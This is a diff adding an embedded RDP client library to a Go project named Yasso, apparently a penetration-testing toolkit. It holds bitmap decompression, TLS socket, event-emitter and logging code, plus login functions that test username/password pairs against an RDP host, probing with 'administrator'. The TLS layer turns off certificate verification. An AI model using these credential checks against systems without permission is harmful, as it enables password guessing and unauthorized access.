// prevline[x * 3 + 1] ^ mix[1];
// line[x * 3 + 2] =
// prevline[x * 3 + 2] ^ mix[2];
// }
// insertmix = false;
// count--;
// x++;
// }
// if (prevline == NULL)
// {
// REPEAT
// (
// line[x * 3] = 0;
// line[x * 3 + 1] = 0;
// line[x * 3 + 2] = 0;
// )
// }
// else
// {
// REPEAT
// (
// line[x * 3] = prevline[x * 3];
// line[x * 3 + 1] = prevline[x * 3 + 1];
// line[x * 3 + 2] = prevline[x * 3 + 2];
// )
// }
// break;
// case 1: /* Mix */
// if (prevline == NULL)
// {
// REPEAT
// (
// line[x * 3] = mix[0];
// line[x * 3 + 1] = mix[1];
// line[x * 3 + 2] = mix[2];
// )
// }
// else
// {
// REPEAT
// (
// line[x * 3] =
// prevline[x * 3] ^ mix[0];
// line[x * 3 + 1] =
// prevline[x * 3 + 1] ^ mix[1];
// line[x * 3 + 2] =
// prevline[x * 3 + 2] ^ mix[2];
// )
// }
// break;
// case 2: /* Fill or Mix */
// if (prevline == NULL)
// {
// REPEAT
// (
// MASK_UPDATE();
// if (mask & mixmask)
// {
// line[x * 3] = mix[0];
// line[x * 3 + 1] = mix[1];
// line[x * 3 + 2] = mix[2];
// }
// else
// {
// line[x * 3] = 0;
// line[x * 3 + 1] = 0;
// line[x * 3 + 2] = 0;
// }
// )
// }
// else
// {
// REPEAT
// (
// MASK_UPDATE();
// if (mask & mixmask)
// {
// line[x * 3] =
// prevline[x * 3] ^ mix [0];
// line[x * 3 + 1] =
// prevline[x * 3 + 1] ^ mix [1];
// line[x * 3 + 2] =
// prevline[x * 3 + 2] ^ mix [2];
// }
// else
// {
// line[x * 3] =
// prevline[x * 3];
// line[x * 3 + 1] =
// prevline[x * 3 + 1];
// line[x * 3 + 2] =
// prevline[x * 3 + 2];
// }
// )
// }
// break;
// case 3: /* Colour */
// REPEAT
// (
// line[x * 3] = colour2 [0];
// line[x * 3 + 1] = colour2 [1];
// line[x * 3 + 2] = colour2 [2];
// )
// break;
// case 4: /* Copy */
// REPEAT
// (
// line[x * 3] = CVAL(input);
// line[x * 3 + 1] = CVAL(input);
// line[x * 3 + 2] = CVAL(input);
// )
// break;
// case 8: /* Bicolour */
// REPEAT
// (
// if (bicolour)
// {
// line[x * 3] = colour2[0];
// line[x * 3 + 1] = colour2[1];
// line[x * 3 + 2] = colour2[2];
// bicolour = false;
// }
// else
// {
// line[x * 3] = colour1[0];
// line[x * 3 + 1] = colour1[1];
// line[x * 3 + 2] = colour1[2];
// bicolour = true;
// count++;
// }
// )
// break;
// case 0xd: /* White */
// REPEAT
// (
// line[x * 3] = 0xff;
// line[x * 3 + 1] = 0xff;
// line[x * 3 + 2] = 0xff;
// )
// break;
// case 0xe: /* Black */
// REPEAT
// (
// line[x * 3] = 0;
// line[x * 3 + 1] = 0;
// line[x * 3 + 2] = 0;
// )
// break;
// default:
// fmt.Printf("bitmap opcode 0x%x\n", opcode);
// return false;
// }
// }
// }
// return true;
// }
/* decompress a colour plane */
func processPlane(in *[]uint8, width, height int, output *[]uint8, j int) int {
var (
indexw int
indexh int
code int
collen int
replen int
color int
x int
revcode int
lastline int
thisline int
)
ln := len(*in)
lastline = 0
indexh = 0
i := 0
for indexh < height {
thisline = j + (width * height * 4) - ((indexh + 1) * width * 4)
color = 0
indexw = 0
i = thisline
if lastline == 0 {
for indexw < width {
code = CVAL(in)
replen = code & 0xf
collen = (code >> 4) & 0xf
revcode = (replen << 4) | collen
if (revcode <= 47) && (revcode >= 16) {
replen = revcode
collen = 0
}
for collen > 0 {
color = CVAL(in)
(*output)[i] = uint8(color)
i += 4
indexw++
collen--
}
for replen > 0 {
(*output)[i] = uint8(color)
i += 4
indexw++
replen--
}
}
} else {
for indexw < width {
code = CVAL(in)
replen = code & 0xf
collen = (code >> 4) & 0xf
revcode = (replen << 4) | collen
if (revcode <= 47) && (revcode >= 16) {
replen = revcode
collen = 0
}
for collen > 0 {
x = CVAL(in)
if x&1 != 0 {
x = x >> 1
x = x + 1
color = -x
} else {
x = x >> 1
color = x
}
x = int((*output)[indexw*4+lastline]) + color
(*output)[i] = uint8(x)
i += 4
indexw++
collen--
}
for replen > 0 {
x = int((*output)[indexw*4+lastline]) + color
(*output)[i] = uint8(x)
i += 4
indexw++
replen--
}
}
}
indexh++
lastline = thisline
}
return ln - len(*in)
}
/* 4 byte bitmap decompress */
func decompress4(output *[]uint8, width, height int, input []uint8, size int) bool {
var (
code int
onceBytes, total int
)
code = CVAL(&input)
if code != 0x10 {
return false
}
total = 1
onceBytes = processPlane(&input, width, height, output, 3)
total += onceBytes
onceBytes = processPlane(&input, width, height, output, 2)
total += onceBytes
onceBytes = processPlane(&input, width, height, output, 1)
total += onceBytes
onceBytes = processPlane(&input, width, height, output, 0)
total += onceBytes
return size == total
}
/* main decompress function */
func Decompress(input []uint8, width, height int, Bpp int) []uint8 {
size := width * height * Bpp
output := make([]uint8, size)
switch Bpp {
case 1:
//decompress1(output, width, height, input, size)
case 2:
decompress2(&output, width, height, input, size)
case 3:
//decompress3(output, width, height, input, size)
case 4:
decompress4(&output, width, height, input, size)
default:
glog.Infof("Bpp %d\n", Bpp)
}
return output
}

10
pkg/grdp/core/rle_test.go Normal file
View File

@@ -0,0 +1,10 @@
// rle_test.go
package core
//func TestSum() {
// input := []byte{
// 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8,
// }
// out := decompress(input, 64, 64, 2)
// fmt.Println(out)
//}

75
pkg/grdp/core/socket.go Normal file
View File

@@ -0,0 +1,75 @@
package core
import (
"crypto/rsa"
"math/big"
"github.com/huin/asn1ber"
//"crypto/tls"
"errors"
"net"
"github.com/icodeface/tls"
)
type SocketLayer struct {
conn net.Conn
tlsConn *tls.Conn
}
func NewSocketLayer(conn net.Conn) *SocketLayer {
l := &SocketLayer{
conn: conn,
tlsConn: nil,
}
return l
}
func (s *SocketLayer) Read(b []byte) (n int, err error) {
if s.tlsConn != nil {
return s.tlsConn.Read(b)
}
return s.conn.Read(b)
}
func (s *SocketLayer) Write(b []byte) (n int, err error) {
if s.tlsConn != nil {
return s.tlsConn.Write(b)
}
return s.conn.Write(b)
}
func (s *SocketLayer) Close() error {
if s.tlsConn != nil {
err := s.tlsConn.Close()
if err != nil {
return err
}
}
return s.conn.Close()
}
func (s *SocketLayer) StartTLS() error {
config := &tls.Config{
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS10,
MaxVersion: tls.VersionTLS13,
PreferServerCipherSuites: true,
}
s.tlsConn = tls.Client(s.conn, config)
return s.tlsConn.Handshake()
}
type PublicKey struct {
N *big.Int `asn1:"explicit,tag:0"` // modulus
E int `asn1:"explicit,tag:1"` // public exponent
}
func (s *SocketLayer) TlsPubKey() ([]byte, error) {
if s.tlsConn == nil {
return nil, errors.New("TLS conn does not exist")
}
pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey)
return asn1ber.Marshal(*pub)
}

21
pkg/grdp/core/types.go Normal file
View File

@@ -0,0 +1,21 @@
package core
import "Yasso/pkg/grdp/emission"
type Transport interface {
Read(b []byte) (n int, err error)
Write(b []byte) (n int, err error)
Close() error
On(event, listener interface{}) *emission.Emitter
Once(event, listener interface{}) *emission.Emitter
Emit(event interface{}, arguments ...interface{}) *emission.Emitter
}
type FastPathListener interface {
RecvFastPath(secFlag byte, s []byte)
}
type FastPathSender interface {
SendFastPath(secFlag byte, s []byte) (int, error)
}

52
pkg/grdp/core/util.go Normal file
View File

@@ -0,0 +1,52 @@
package core
import (
"crypto/rand"
"encoding/binary"
"unicode/utf16"
)
func Reverse(s []byte) []byte {
for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 {
s[i], s[j] = s[j], s[i]
}
return s
}
func Random(n int) []byte {
const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
var bytes = make([]byte, n)
rand.Read(bytes)
for i, b := range bytes {
bytes[i] = alpha[b%byte(len(alpha))]
}
return bytes
}
func convertUTF16ToLittleEndianBytes(u []uint16) []byte {
b := make([]byte, 2*len(u))
for index, value := range u {
binary.LittleEndian.PutUint16(b[index*2:], value)
}
return b
}
// s.encode('utf-16le')
func UnicodeEncode(p string) []byte {
return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p)))
}
func UnicodeDecode(p []byte) string {
b := make([]byte, 2)
n := make([]uint16, 0, len(p)/2)
for i, v := range p {
if i%2 == 0 {
b[0] = v
} else {
b[1] = v
a := binary.LittleEndian.Uint16(b)
n = append(n, a)
}
}
return string(utf16.Decode(n))
}

View File

@@ -0,0 +1,273 @@
// Package emission provides an event emitter.
// copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go
// fix issue with nest once
package emission
import (
"errors"
"fmt"
"os"
"reflect"
"sync"
)
// Default number of maximum listeners for an event.
const DefaultMaxListeners = 10
// Error presented when an invalid argument is provided as a listener function
var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.")
// RecoveryListener ...
type RecoveryListener func(interface{}, interface{}, error)
// Emitter ...
type Emitter struct {
// Mutex to prevent race conditions within the Emitter.
*sync.Mutex
// Map of event to a slice of listener function's reflect Values.
events map[interface{}][]reflect.Value
// Optional RecoveryListener to call when a panic occurs.
recoverer RecoveryListener
// Maximum listeners for debugging potential memory leaks.
maxListeners int
// Map of event to a slice of listener function's reflect Values.
onces map[interface{}][]reflect.Value
}
// AddListener appends the listener argument to the event arguments slice
// in the Emitter's events map. If the number of listeners for an event
// is greater than the Emitter's maximum listeners then a warning is printed.
// If the relect Value of the listener does not have a Kind of Func then
// AddListener panics. If a RecoveryListener has been set then it is called
// recovering from the panic.
func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter {
emitter.Lock()
defer emitter.Unlock()
fn := reflect.ValueOf(listener)
if reflect.Func != fn.Kind() {
if nil == emitter.recoverer {
panic(ErrNoneFunction)
} else {
emitter.recoverer(event, listener, ErrNoneFunction)
}
}
if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 {
fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
"number of listeners of %d.\n", event, emitter.maxListeners)
}
emitter.events[event] = append(emitter.events[event], fn)
return emitter
}
// On is an alias for AddListener.
func (emitter *Emitter) On(event, listener interface{}) *Emitter {
return emitter.AddListener(event, listener)
}
// RemoveListener removes the listener argument from the event arguments slice
// in the Emitter's events map. If the reflect Value of the listener does not
// have a Kind of Func then RemoveListener panics. If a RecoveryListener has
// been set then it is called after recovering from the panic.
func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter {
emitter.Lock()
defer emitter.Unlock()
fn := reflect.ValueOf(listener)
if reflect.Func != fn.Kind() {
if nil == emitter.recoverer {
panic(ErrNoneFunction)
} else {
emitter.recoverer(event, listener, ErrNoneFunction)
}
}
if events, ok := emitter.events[event]; ok {
newEvents := []reflect.Value{}
for _, listener := range events {
if fn.Pointer() != listener.Pointer() {
newEvents = append(newEvents, listener)
}
}
emitter.events[event] = newEvents
}
if events, ok := emitter.onces[event]; ok {
newEvents := []reflect.Value{}
for _, listener := range events {
if fn.Pointer() != listener.Pointer() {
newEvents = append(newEvents, listener)
}
}
emitter.onces[event] = newEvents
}
return emitter
}
// Off is an alias for RemoveListener.
func (emitter *Emitter) Off(event, listener interface{}) *Emitter {
return emitter.RemoveListener(event, listener)
}
// Once generates a new function which invokes the supplied listener
// only once before removing itself from the event's listener slice
// in the Emitter's events map. If the reflect Value of the listener
// does not have a Kind of Func then Once panics. If a RecoveryListener
// has been set then it is called after recovering from the panic.
func (emitter *Emitter) Once(event, listener interface{}) *Emitter {
emitter.Lock()
defer emitter.Unlock()
fn := reflect.ValueOf(listener)
if reflect.Func != fn.Kind() {
if nil == emitter.recoverer {
panic(ErrNoneFunction)
} else {
emitter.recoverer(event, listener, ErrNoneFunction)
}
}
if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 {
fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
"number of listeners of %d.\n", event, emitter.maxListeners)
}
emitter.onces[event] = append(emitter.onces[event], fn)
return emitter
}
// Emit attempts to use the reflect package to Call each listener stored
// in the Emitter's events map with the supplied arguments. Each listener
// is called within its own go routine. The reflect package will panic if
// the agruments supplied do not align the parameters of a listener function.
// If a RecoveryListener has been set then it is called after recovering from
// the panic.
func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter {
var (
listeners []reflect.Value
ok bool
)
// Lock the mutex when reading from the Emitter's
// events map.
emitter.Lock()
if listeners, ok = emitter.events[event]; !ok {
// If the Emitter does not include the event in its
// event map, it has no listeners to Call yet.
emitter.Unlock()
goto ONCES
}
// Unlock the mutex immediately following the read
// instead of deferring so that listeners registered
// with Once can aquire the mutex for removal.
emitter.Unlock()
emitter.callListeners(listeners, event, arguments...)
ONCES:
// execute onces
emitter.Lock()
if listeners, ok = emitter.onces[event]; !ok {
emitter.Unlock()
return emitter
}
emitter.Unlock()
emitter.callListeners(listeners, event, arguments...)
// clear executed listeners
emitter.onces[event] = emitter.onces[event][len(listeners):]
return emitter
}
func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) {
var wg sync.WaitGroup
wg.Add(len(listeners))
for _, fn := range listeners {
go func(fn reflect.Value) {
defer wg.Done()
// Recover from potential panics, supplying them to a
// RecoveryListener if one has been set, else allowing
// the panic to occur.
if nil != emitter.recoverer {
defer func() {
if r := recover(); nil != r {
err := fmt.Errorf("%v", r)
emitter.recoverer(event, fn.Interface(), err)
}
}()
}
var values []reflect.Value
for i := 0; i < len(arguments); i++ {
if arguments[i] == nil {
values = append(values, reflect.New(fn.Type().In(i)).Elem())
} else {
values = append(values, reflect.ValueOf(arguments[i]))
}
}
fn.Call(values)
}(fn)
}
wg.Wait()
}
// RecoverWith sets the listener to call when a panic occurs, recovering from
// panics and attempting to keep the application from crashing.
func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter {
emitter.recoverer = listener
return emitter
}
// SetMaxListeners sets the maximum number of listeners per
// event for the Emitter. If -1 is passed as the maximum,
// all events may have unlimited listeners. By default, each
// event can have a maximum number of 10 listeners which is
// useful for finding memory leaks.
func (emitter *Emitter) SetMaxListeners(max int) *Emitter {
emitter.Lock()
defer emitter.Unlock()
emitter.maxListeners = max
return emitter
}
// GetListenerCount gets count of listeners for a given event.
func (emitter *Emitter) GetListenerCount(event interface{}) (count int) {
emitter.Lock()
if listeners, ok := emitter.events[event]; ok {
count = len(listeners)
}
emitter.Unlock()
return
}
// NewEmitter returns a new Emitter object, defaulting the
// number of maximum listeners per event to the DefaultMaxListeners
// constant and initializing its events map.
func NewEmitter() (emitter *Emitter) {
emitter = new(Emitter)
emitter.Mutex = new(sync.Mutex)
emitter.events = make(map[interface{}][]reflect.Value)
emitter.maxListeners = DefaultMaxListeners
emitter.onces = make(map[interface{}][]reflect.Value)
return
}

107
pkg/grdp/glog/log.go Normal file
View File

@@ -0,0 +1,107 @@
package glog
import (
"fmt"
"log"
"sync"
)
func init() {
}
var (
logger *log.Logger
level LEVEL
mu sync.Mutex
)
type LEVEL int
const (
DEBUG LEVEL = iota
INFO
WARN
ERROR
NONE
)
func SetLogger(l *log.Logger) {
l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile)
logger = l
}
func SetLevel(l LEVEL) {
level = l
}
func checkLogger() {
if logger == nil && level != NONE {
panic("logger not inited")
}
}
func Debug(v ...interface{}) {
checkLogger()
if level <= DEBUG {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[DEBUG]")
logger.Output(2, fmt.Sprintln(v...))
}
}
func Debugf(f string, v ...interface{}) {
checkLogger()
if level <= DEBUG {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[DEBUG]")
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
}
}
func Info(v ...interface{}) {
checkLogger()
if level <= INFO {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[INFO]")
logger.Output(2, fmt.Sprintln(v...))
}
}
func Infof(f string, v ...interface{}) {
checkLogger()
if level <= INFO {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[INFO]")
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
}
}
func Warn(v ...interface{}) {
checkLogger()
if level <= WARN {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[WARN]")
logger.Output(2, fmt.Sprintln(v...))
}
}
func Error(v ...interface{}) {
checkLogger()
if level <= ERROR {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[ERROR]")
logger.Output(2, fmt.Sprintln(v...))
}
}
func Errorf(f string, v ...interface{}) {
checkLogger()
if level <= ERROR {
mu.Lock()
defer mu.Unlock()
logger.SetPrefix("[ERROR]")
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
}
}

241
pkg/grdp/grdp.go Normal file
View File

@@ -0,0 +1,241 @@
package grdp
import (
"errors"
"fmt"
"log"
"net"
"os"
"sync"
"time"
"Yasso/pkg/grdp/core"
"Yasso/pkg/grdp/glog"
"Yasso/pkg/grdp/protocol/nla"
"Yasso/pkg/grdp/protocol/pdu"
"Yasso/pkg/grdp/protocol/rfb"
"Yasso/pkg/grdp/protocol/sec"
"Yasso/pkg/grdp/protocol/t125"
"Yasso/pkg/grdp/protocol/tpkt"
"Yasso/pkg/grdp/protocol/x224"
)
const (
PROTOCOL_RDP = "PROTOCOL_RDP"
PROTOCOL_SSL = "PROTOCOL_SSL"
)
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) LoginForSSL(domain, user, pwd string) error {
conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}
func (g *Client) LoginForRDP(domain, user, pwd string) error {
conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
updateCount := 0
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
updateCount += 1
//fmt.Println(updateCount," ",rectangles[0].BitmapLength)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
//wait 2 Second
time.Sleep(time.Second * 3)
if breakFlag == false {
breakFlag = true
wg.Done()
}
wg.Wait()
if updateCount > 50 {
return nil
}
err = errors.New("login failed")
return err
}
func Login(target, domain, username, password string) error {
var err error
g := NewClient(target, glog.NONE)
//SSL协议登录测试
err = g.LoginForSSL(domain, username, password)
if err == nil {
return nil
}
if err.Error() != PROTOCOL_RDP {
return err
}
//RDP协议登录测试
err = g.LoginForRDP(domain, username, password)
if err == nil {
return nil
} else {
return err
}
}
func LoginForSSL(target, domain, username, password string) error {
var err error
g := NewClient(target, glog.NONE)
//SSL协议登录测试
err = g.LoginForSSL(domain, username, password)
if err == nil {
return nil
}
return err
}
func LoginForRDP(target, domain, username, password string) error {
var err error
g := NewClient(target, glog.NONE)
//SSL协议登录测试
err = g.LoginForRDP(domain, username, password)
if err == nil {
return nil
}
return err
}
func VerifyProtocol(target string) string {
var err error
err = LoginForSSL(target, "", "administrator", "test")
if err == nil {
return PROTOCOL_SSL
}
if err.Error() != PROTOCOL_RDP {
return PROTOCOL_SSL
}
return PROTOCOL_RDP
}

Some files were not shown because too many files have changed in this diff Show More